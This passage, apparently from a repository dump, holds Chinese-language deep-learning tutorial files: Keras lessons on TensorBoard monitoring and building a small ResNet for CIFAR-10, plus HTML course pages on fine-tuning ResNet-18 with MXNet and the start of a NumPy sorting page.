-->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.7012252807617188, "alphanum_fraction": 0.7269871234893799, "avg_line_length": 27.66666603088379, "blob_id": "418262439e6a5a8b69309c5a1775f96b05270976", "content_id": "e58f6de0e315469c41b2f4a79cea68c5878b264c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4407, "license_type": "no_license", "max_line_length": 184, "num_lines": 111, "path": "/keras/class_5.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Keras入门课5:网络可视化及训练监控\n\n本节专注于Keras中神经网络的可视化,包括网络结构可视化以及如何使用TensorBoard来监控训练过程。 \n这里我们借用第2课的代码内容来进行示例和讲解。\n\n网络前面的定义、数据初始化都一样,主要是fit函数\n\n#### 启用TensorBoard\n在model的fit函数中加入TensorBoard的回调函数即可,训练数据就会自动保存在log_dir指定的目录内,然后在命令行启动命令 tensorboard --logdir=./log 即可。TensorBoard会记录loss及model.metrics里面的值,本例中即acc,loss,val_acc,val_loss四个值,每个epoch更新一次。 \n除了这些SCALARS,还会记录网络的GRAPH,直接可视化网络结构,但是相比用原生TensorFlow生成的图而言,相差还是比较大的,比较难看,所以不推荐在Keras中使用TensorBoard查看网络结构。\n\n我只训练了2个epoch,所以只记录下了两个值。曲线图如下\n![](./images/tensorboard_scalars.png)\n\n↓直方图,用来统计参数的分布\n\n![](./images/tensorboard_hist.png)\n\nIn[1]:\n\n\n```python\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n# 引入Tensorboard\nfrom keras.callbacks import TensorBoard\nfrom keras.utils import plot_model\n\n(x_train,y_train),(x_test,y_test) = mnist.load_data() # out: np.ndarray\n\nx_train = x_train.reshape(-1,28,28,1)\nx_test = x_test.reshape(-1,28,28,1)\ninput_shape = (28,28,1)\n\nx_train = x_train/255\nx_test = x_test/255\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n```\n\n\n```python\nmodel = Sequential()\nmodel.add(Conv2D(filters = 32,kernel_size=(3,3),\n activation='relu',input_shape = input_shape,name='conv1'))\nmodel.add(Conv2D(64,(3,3),activation='relu',name='conv2'))\nmodel.add(MaxPooling2D(pool_size=(2,2),name='pool2'))\nmodel.add(Dropout(0.25,name='dropout1'))\nmodel.add(Flatten(name='flat1'))\nmodel.add(Dense(128,activation='relu'))\nmodel.add(Dropout(0.5,name='dropout2'))\nmodel.add(Dense(10,activation='softmax',name='output'))\n```\n\n\n```python\nplot_model(model,to_file='model.png')\n```\n\n↑keras的utils里面专门有一个plot_model函数是用来可视化网络结构的,为了保证格式美观,我们在定义模型的时候给每个层都加了一个名字。 \n对于大多数的Keras的layers,都有name这一参数。\n使用plot_model就可以生成类似下图的一张图片,相比TensorBoard的Graph要清晰明了很多。所以在Keras中打印图结构还是推荐使用Keras自带的方法。\n\n![](./images/mlp_model.png)\n\n\n```python\nmodel.compile(loss = keras.losses.categorical_crossentropy,\n optimizer = keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n```\n\nTensorBoard接口函数,有很多参数可选,具体细节可以参看官方文档。相比TensorFlow中的summary保存而言,keras中的TensorBoard使用更为简单,但是灵活性较差,只适合一些最基础的使用。\n\n\n```python\ntb = TensorBoard(log_dir='./logs', # log 目录\n histogram_freq=1, # 按照何等频率(epoch)来计算直方图,0为不计算\n batch_size=32, # 用多大量的数据计算直方图\n write_graph=True, # 是否存储网络结构图\n write_grads=False, # 是否可视化梯度直方图\n write_images=False,# 是否可视化参数\n embeddings_freq=0, \n embeddings_layer_names=None, \n embeddings_metadata=None)\ncallbacks = [tb]\n```\n\n\n```python\nmodel.fit(x_train,y_train,batch_size=64,epochs=2\n ,verbose=1,validation_data=(x_test,y_test),\n callbacks=callbacks)\n```\n\n## 总结\n\n1. 学习了如何用TensorBoard监控训练过程\n1. 学习了如何使用keras自带的save_model函数来保存网络图\n\n\n在使用plot_model绘制图片的时候还遇到了一些错误,如果你也报错,可以参看我的另一篇文章尝试解决:[ Mac下使用Keras plot_model函数时出错的解决办法](http://blog.csdn.net/tsyccnh/article/details/78866976)\n\n本文代码地址:https://github.com/tsycnh/Keras-Tutorials/blob/master/class_5.ipynb\n\n参考:\n> https://keras.io/visualization/\n\n" }, { "alpha_fraction": 0.6603933572769165, "alphanum_fraction": 0.6998982429504395, "avg_line_length": 26.30555534362793, "blob_id": "94f9b55cd57e71a764206d6fc432bf03a7172b87", "content_id": "2354b1460b34d4f802ab5b3a16a2a2fdc4c64710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8072, "license_type": "no_license", "max_line_length": 150, "num_lines": 216, "path": "/keras/class_4.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Keras入门课4:使用ResNet识别cifar10数据集\n\n前面几节课都是用一些简单的网络来做图像识别,这节课我们要使用经典的ResNet网络对cifar10进行分类。\n\nResNet是何凯明大神提出的残差网络,具体论文见此 \n\nResNet v1 \nDeep Residual Learning for Image Recognition \nhttps://arxiv.org/pdf/1512.03385.pdf \nResNet v2 \nIdentity Mappings in Deep Residual Networks \nhttps://arxiv.org/pdf/1603.05027.pdf \n\n这一节课,我们只动手实现v1的一个精简版本(因为数据集cifar10的数据比较小)\n\n\n```python\nimport keras\nfrom keras.layers import Dense, Conv2D, BatchNormalization, Activation\nfrom keras.layers import AveragePooling2D, Input, Flatten\nfrom keras.optimizers import Adam\nfrom keras.regularizers import l2\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.datasets import cifar10\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras.callbacks import ReduceLROnPlateau\nimport numpy as np\nimport os\n```\n\n\n```python\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n```\n\n\n```python\nx_train = x_train/255\nx_test = x_test/255\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n```\n\n↓构建模型基本模块,ResNet Block\n\n这里没有用Sequential模型,而是用了另外一种构建模型的方法,即函数式模型(Functional)\nSequential模型有一个缺陷,即网络只能一层一层的堆叠起来,无法处理分支网络的情况。比如ResNet或GoogleNet中的Inception模块。使用Functional模型,构建起模型来十分自由,可以组合成各种各样的网络,可以说Sequential模型是Functional模型的一个子集。\n\n使用函数式模型很简单,直接在网络层模块后写一个括号,参数就是当前层的输入值,返回值就是当前层的输出值,比如:net = Conv2D(...)(inputs)\n\n![](./images/resnetblock.png)\n\n↓首先构建一个基本的block模块,就是上图的weight layer,这个模块包含了一个卷积层,一个BN层,一个激活层。可以看到上图下面那个layer没有激活层,所以函数内做了一个判断\n\nBN层的作用是对输出参数做归一化,可以有效使网络更易训练。一般来说,加了BN层的网络,可以不必再用Dropout层。\n同时这一次我们在卷积层中加入了L2正则化,目的是提升模型的泛化能力。\n\n\n```python\n#ResNet Block\ndef resnet_block(inputs,num_filters=16,\n kernel_size=3,strides=1,\n activation='relu'):\n x = Conv2D(num_filters,kernel_size=kernel_size,strides=strides,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(inputs)\n x = BatchNormalization()(x)\n if(activation):\n x = Activation('relu')(x)\n return x\n```\n\n↓这里构建整个网络。由于我们要处理的图像较小,所以ResNet用的也是一个20层的小号版。\n总体上分为五大部分。上面那张图我们称之为一个building block\n\n输入层 \n↓ \n6层 filter大小为16的building block \n↓ \n6层 filter大小为32的building block \n↓ \n6层 filter大小为64的building block \n↓ \n一层全连接\n一层输出层 \n第2~7层属于一个很规整的层叠加,每一个循环里都是在搭建一个building block \n第8~13层里面的首层的strides=2,这样输出就是16*16*32大小的张量,而输入是32*32*16大小的张量,所以对输入又做了一个卷积操作,使得其shape和正常卷积层的输出一直,这样才可以执行add操作。\n第14~19层套路一样\n\n返回为通过Model初始化过的一个模型\n\n\n```python\n# 建一个20层的ResNet网络 \ndef resnet_v1(input_shape):\n inputs = Input(shape=input_shape)# Input层,用来当做占位使用\n \n #第一层\n x = resnet_block(inputs)\n print('layer1,xshape:',x.shape)\n # 第2~7层\n for i in range(6):\n a = resnet_block(inputs = x)\n b = resnet_block(inputs=a,activation=None)\n x = keras.layers.add([x,b])\n x = Activation('relu')(x)\n # out:32*32*16\n # 第8~13层\n for i in range(6):\n if i == 0:\n a = resnet_block(inputs = x,strides=2,num_filters=32)\n else:\n a = resnet_block(inputs = x,num_filters=32)\n b = resnet_block(inputs=a,activation=None,num_filters=32)\n if i==0:\n x = Conv2D(32,kernel_size=3,strides=2,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(x)\n x = keras.layers.add([x,b])\n x = Activation('relu')(x)\n # out:16*16*32\n # 第14~19层\n for i in range(6):\n if i ==0 :\n a = resnet_block(inputs = x,strides=2,num_filters=64)\n else:\n a = resnet_block(inputs = x,num_filters=64)\n\n b = resnet_block(inputs=a,activation=None,num_filters=64)\n if i == 0:\n x = Conv2D(64,kernel_size=3,strides=2,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(x)\n x = keras.layers.add([x,b])# 相加操作,要求x、b shape完全一致\n x = Activation('relu')(x)\n # out:8*8*64\n # 第20层 \n x = AveragePooling2D(pool_size=2)(x)\n # out:4*4*64\n y = Flatten()(x)\n # out:1024\n outputs = Dense(10,activation='softmax',\n kernel_initializer='he_normal')(y)\n \n #初始化模型\n #之前的操作只是将多个神经网络层进行了相连,通过下面这一句的初始化操作,才算真正完成了一个模型的结构初始化\n model = Model(inputs=inputs,outputs=outputs)\n return model\n```\n\n\n```python\nmodel = resnet_v1((32,32,3))\nprint(model)\n```\n\n\n```python\nmodel.compile(loss='categorical_crossentropy',\noptimizer=Adam(),\nmetrics=['accuracy'])\n\nmodel.summary()\n```\n\n↓callbacks \nmodel的.fit方法有一个参数是callbacks,这个参数可以传入一些其他待执行的函数,在训练过程中,每一个epoch会调用一次列表中的callbacks \n\n本次课程用到的几个回调函数 \nModelCheckpoint:用来每个epoch存储一遍模型 \nLearningRateScheduler:用来动态调整学习率。其输入为一个函数,该函数的输入为当前epoch数,返回为对应的学习率 \nReduceLROnPlateau:用来在训练停滞不前的时候动态降低学习率。\n\n\n```python\ncheckpoint = ModelCheckpoint(filepath='./cifar10_resnet_ckpt.h5',monitor='val_acc',\n verbose=1,save_best_only=True)\ndef lr_sch(epoch):\n #200 total\n if epoch <50:\n return 1e-3\n if 50<=epoch<100:\n return 1e-4\n if epoch>=100:\n return 1e-5\nlr_scheduler = LearningRateScheduler(lr_sch)\nlr_reducer = ReduceLROnPlateau(monitor='val_acc',factor=0.2,patience=5,\n mode='max',min_lr=1e-3)\ncallbacks = [checkpoint,lr_scheduler,lr_reducer]\n```\n\n\n```python\nmodel.fit(x_train,y_train,batch_size=64,epochs=200,validation_data=(x_test,y_test),verbose=1,callbacks=callbacks)\n```\n\n\n```python\nscores = model.evaluate(x_test,y_test,verbose=1)\nprint('Test loss:',scores[0])\nprint('Test accuracy:',scores[1])\n```\n\n通过了200个批次的训练,训练集的准确率已经达到了100%,测试集达到了82.44%。这还是没有使用数据增强的效果,如果使用数据增强,准确率可以达到90+%\n\n## 总结\n1. 学习了一种新的构建模型的方法,函数式模型(Functional),更自由灵活\n1. 学习了如何将通过Functional方式定义的层初始化为一个模型(Model)\n1. 使用keras.layers.add方法,可以将两个一模一样的张量进行相加\n1. 搭建了一个精简版的ResNet网络\n1. 学习了如何在训练中调用回调函数\n1. 学习了在训练过程中动态的调节学习率(使用LearningRateScheduler)\n1. 学习了保存checkpoint(使用ModelCheckpoint)\n1. 使用ReduceLROnPlateau在训练进入平台期的时候动态调节学习率\n\n\n参考:\n> https://github.com/keras-team/keras/blob/master/examples/cifar10_resnet.py\n" }, { "alpha_fraction": 0.6464160084724426, "alphanum_fraction": 0.6697536706924438, "avg_line_length": 37.430606842041016, "blob_id": "f5ae040bc1ed544d0da284a600fef33493ffc7ee", "content_id": "a0c5c3b9a0bd3f37731c1af8c84ca1c36e5008c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 15504, "license_type": "no_license", "max_line_length": 295, "num_lines": 281, "path": "/d2l-mxnet/chapter_computer-vision/fine-tuning.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>微调 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>微调</h1>\n<p>在前面的一些章节中,我们介绍了如何在只有6万张图像的Fashion-MNIST训练数据集上训练模型。我们还描述了学术界当下使用最广泛的大规模图像数据集ImageNet,它有超过1,000万的图像和1,000类的物体。然而,我们平常接触到的数据集的规模通常在这两者之间。</p>\n<p>假设我们想从图像中识别出不同种类的椅子,然后将购买链接推荐给用户。一种可能的方法是先找出100种常见的椅子,为每种椅子拍摄1,000张不同角度的图像,然后在收集到的图像数据集上训练一个分类模型。这个椅子数据集虽然可能比Fashion-MNIST数据集要庞大,但样本数仍然不及ImageNet数据集中样本数的十分之一。这可能会导致适用于ImageNet数据集的复杂模型在这个椅子数据集上过拟合。同时,因为数据量有限,最终训练得到的模型的精度也可能达不到实用的要求。</p>\n<p>为了应对上述问题,一个显而易见的解决办法是收集更多的数据。然而,收集和标注数据会花费大量的时间和资金。例如,为了收集ImageNet数据集,研究人员花费了数百万美元的研究经费。虽然目前的数据采集成本已降低了不少,但其成本仍然不可忽略。</p>\n<p>另外一种解决办法是应用迁移学习(transfer learning),将从源数据集学到的知识迁移到目标数据集上。例如,虽然ImageNet数据集的图像大多跟椅子无关,但在该数据集上训练的模型可以抽取较通用的图像特征,从而能够帮助识别边缘、纹理、形状和物体组成等。这些类似的特征对于识别椅子也可能同样有效。</p>\n<p>本节我们介绍迁移学习中的一种常用技术:微调(fine tuning)。如图9.1所示,微调由以下4步构成。</p>\n<ol>\n<li>在源数据集(如ImageNet数据集)上预训练一个神经网络模型,即源模型。</li>\n<li>创建一个新的神经网络模型,即目标模型。它复制了源模型上除了输出层外的所有模型设计及其参数。我们假设这些模型参数包含了源数据集上学习到的知识,且这些知识同样适用于目标数据集。我们还假设源模型的输出层与源数据集的标签紧密相关,因此在目标模型中不予采用。</li>\n<li>为目标模型添加一个输出大小为目标数据集类别个数的输出层,并随机初始化该层的模型参数。</li>\n<li>在目标数据集(如椅子数据集)上训练目标模型。我们将从头训练输出层,而其余层的参数都是基于源模型的参数微调得到的。</li>\n</ol>\n<p><img alt=\"微调\" src=\"../img/finetune.svg\" /></p>\n<p>当目标数据集远小于源数据集时,微调有助于提升模型的泛化能力。</p>\n<h2>热狗识别</h2>\n<p>接下来我们来实践一个具体的例子:热狗识别。我们将基于一个小数据集对在ImageNet数据集上训练好的ResNet模型进行微调。该小数据集含有数千张包含热狗和不包含热狗的图像。我们将使用微调得到的模型来识别一张图像中是否包含热狗。</p>\n<p>首先,导入实验所需的包或模块。Gluon的<code>model_zoo</code>包提供了常用的预训练模型。如果希望获取更多的计算机视觉的预训练模型,可以使用GluonCV工具包 [1]。</p>\n<p>```{.python .input n=1}\n%matplotlib inline\nimport d2lzh as d2l\nfrom mxnet import gluon, init, nd\nfrom mxnet.gluon import data as gdata, loss as gloss, model_zoo\nfrom mxnet.gluon import utils as gutils\nimport os\nimport zipfile</p>\n<pre><code>\n### 获取数据集\n\n我们使用的热狗数据集是从网上抓取的,它含有1400张包含热狗的正类图像,和同样多包含其他食品的负类图像。各类的1000张图像被用于训练,其余则用于测试。\n\n我们首先将压缩后的数据集下载到路径`../data`之下,然后在该路径将下载好的数据集解压,得到两个文件夹`hotdog/train`和`hotdog/test`。这两个文件夹下面均有`hotdog`和`not-hotdog`两个类别文件夹,每个类别文件夹里面是图像文件。\n\n```{.python .input n=2}\ndata_dir = '../data'\nbase_url = 'https://apache-mxnet.s3-accelerate.amazonaws.com/'\nfname = gutils.download(\n base_url + 'gluon/dataset/hotdog.zip',\n path=data_dir, sha1_hash='fba480ffa8aa7e0febbb511d181409f899b9baa5')\nwith zipfile.ZipFile(fname, 'r') as z:\n z.extractall(data_dir)\n</code></pre>\n\n<p>我们创建两个<code>ImageFolderDataset</code>实例来分别读取训练数据集和测试数据集中的所有图像文件。</p>\n<p>```{.python .input n=3}\ntrain_imgs = gdata.vision.ImageFolderDataset(\n os.path.join(data_dir, 'hotdog/train'))\ntest_imgs = gdata.vision.ImageFolderDataset(\n os.path.join(data_dir, 'hotdog/test'))</p>\n<pre><code>\n下面画出前8张正类图像和最后8张负类图像。可以看到,它们的大小和高宽比各不相同。\n\n```{.python .input n=4}\nhotdogs = [train_imgs[i][0] for i in range(8)]\nnot_hotdogs = [train_imgs[-i - 1][0] for i in range(8)]\nd2l.show_images(hotdogs + not_hotdogs, 2, 8, scale=1.4);\n</code></pre>\n\n<p>在训练时,我们先从图像中裁剪出随机大小和随机高宽比的一块随机区域,然后将该区域缩放为高和宽均为224像素的输入。测试时,我们将图像的高和宽均缩放为256像素,然后从中裁剪出高和宽均为224像素的中心区域作为输入。此外,我们对RGB(红、绿、蓝)三个颜色通道的数值做标准化:每个数值减去该通道所有数值的平均值,再除以该通道所有数值的标准差作为输出。</p>\n<p>```{.python .input n=5}</p>\n<h1>指定RGB三个通道的均值和方差来将图像通道归一化</h1>\n<p>normalize = gdata.vision.transforms.Normalize(\n [0.485, 0.456, 0.406], [0.229, 0.224, 0.225])</p>\n<p>train_augs = gdata.vision.transforms.Compose([\n gdata.vision.transforms.RandomResizedCrop(224),\n gdata.vision.transforms.RandomFlipLeftRight(),\n gdata.vision.transforms.ToTensor(),\n normalize])</p>\n<p>test_augs = gdata.vision.transforms.Compose([\n gdata.vision.transforms.Resize(256),\n gdata.vision.transforms.CenterCrop(224),\n gdata.vision.transforms.ToTensor(),\n normalize])</p>\n<pre><code>\n### 定义和初始化模型\n\n我们使用在ImageNet数据集上预训练的ResNet-18作为源模型。这里指定`pretrained=True`来自动下载并加载预训练的模型参数。在第一次使用时需要联网下载模型参数。\n\n```{.python .input n=6}\npretrained_net = model_zoo.vision.resnet18_v2(pretrained=True)\n</code></pre>\n\n<p>预训练的源模型实例含有两个成员变量,即<code>features</code>和<code>output</code>。前者包含模型除输出层以外的所有层,后者为模型的输出层。这样划分主要是为了方便微调除输出层以外所有层的模型参数。下面打印源模型的成员变量<code>output</code>。作为一个全连接层,它将ResNet最终的全局平均池化层输出变换成ImageNet数据集上1,000类的输出。</p>\n<p>```{.python .input n=7}\npretrained_net.output</p>\n<pre><code>\n我们新建一个神经网络作为目标模型。它的定义与预训练的源模型一样,但最后的输出个数等于目标数据集的类别数。在下面的代码中,目标模型实例`finetune_net`的成员变量`features`中的模型参数被初始化为源模型相应层的模型参数。由于`features`中的模型参数是在ImageNet数据集上预训练得到的,已经足够好,因此一般只需使用较小的学习率来微调这些参数。而成员变量`output`中的模型参数采用了随机初始化,一般需要更大的学习率从头训练。假设`Trainer`实例中的学习率为$\\eta$,我们设成员变量`output`中的模型参数在迭代中使用的学习率为$10\\eta$。\n\n```{.python .input n=9}\nfinetune_net = model_zoo.vision.resnet18_v2(classes=2)\nfinetune_net.features = pretrained_net.features\nfinetune_net.output.initialize(init.Xavier())\n# output中的模型参数将在迭代中使用10倍大的学习率\nfinetune_net.output.collect_params().setattr('lr_mult', 10)\n</code></pre>\n\n<h3>微调模型</h3>\n<p>我们先定义一个使用微调的训练函数<code>train_fine_tuning</code>以便多次调用。</p>\n<p>```{.python .input n=10}\ndef train_fine_tuning(net, learning_rate, batch_size=128, num_epochs=5):\n train_iter = gdata.DataLoader(\n train_imgs.transform_first(train_augs), batch_size, shuffle=True)\n test_iter = gdata.DataLoader(\n test_imgs.transform_first(test_augs), batch_size)\n ctx = d2l.try_all_gpus()\n net.collect_params().reset_ctx(ctx)\n net.hybridize()\n loss = gloss.SoftmaxCrossEntropyLoss()\n trainer = gluon.Trainer(net.collect_params(), 'sgd', {\n 'learning_rate': learning_rate, 'wd': 0.001})\n d2l.train(train_iter, test_iter, net, loss, trainer, ctx, num_epochs)</p>\n<pre><code>\n我们将`Trainer`实例中的学习率设得小一点,如0.01,以便微调预训练得到的模型参数。根据前面的设置,我们将以10倍的学习率从头训练目标模型的输出层参数。\n\n```{.python .input n=11}\ntrain_fine_tuning(finetune_net, 0.01)\n</code></pre>\n\n<p>作为对比,我们定义一个相同的模型,但将它的所有模型参数都初始化为随机值。由于整个模型都需要从头训练,我们可以使用较大的学习率。</p>\n<p>```{.python .input n=12}\nscratch_net = model_zoo.vision.resnet18_v2(classes=2)\nscratch_net.initialize(init=init.Xavier())\ntrain_fine_tuning(scratch_net, 0.1)</p>\n<pre><code>\n可以看到,微调的模型因为参数初始值更好,往往在相同迭代周期下取得更高的精度。\n\n\n## 小结\n\n\n* 迁移学习将从源数据集学到的知识迁移到目标数据集上。微调是迁移学习的一种常用技术。\n* 目标模型复制了源模型上除了输出层外的所有模型设计及其参数,并基于目标数据集微调这些参数。而目标模型的输出层需要从头训练。\n* 一般来说,微调参数会使用较小的学习率,而从头训练输出层可以使用较大的学习率。\n\n\n## 练习\n\n* 不断增大`finetune_net`的学习率。准确率会有什么变化?\n* 进一步调节对比试验中`finetune_net`和`scratch_net`的超参数。它们的精度是不是依然有区别?\n* 将`finetune_net.features`中的参数固定为源模型的参数而不在训练中迭代,结果会怎样?你可能会用到以下代码。\n\n```{.python .input}\nfinetune_net.features.collect_params().setattr('grad_req', 'null')\n</code></pre>\n\n<ul>\n<li>事实上<code>ImageNet</code>数据集里也有“hotdog”(热狗)这个类。它在输出层对应的权重参数可以用以下代码获取。我们可以怎样使用这个权重参数?</li>\n</ul>\n<p><code>{.python .input n=13}\nweight = pretrained_net.output.weight\nhotdog_w = nd.split(weight.data(), 1000, axis=0)[713]\nhotdog_w.shape</code></p>\n<h2>参考文献</h2>\n<p>[1] GluonCV工具包。https://gluon-cv.mxnet.io/</p>\n<h2>扫码直达<a href=\"https://discuss.gluon.ai/t/topic/2272\">讨论区</a></h2>\n<p><img alt=\"\" src=\"../img/qr_fine-tuning.svg\" /></p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5642523169517517, "alphanum_fraction": 0.5859993100166321, "avg_line_length": 27.609254837036133, "blob_id": "cd8d7c224fd1bc59be9cb437ca965402f5ce953f", "content_id": "318e7b1fdf672c13ab86f63c864e08354a10bec7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 13322, "license_type": "no_license", "max_line_length": 198, "num_lines": 389, "path": "/numpy/sort.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>NumPy 排序,条件刷选函数 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n 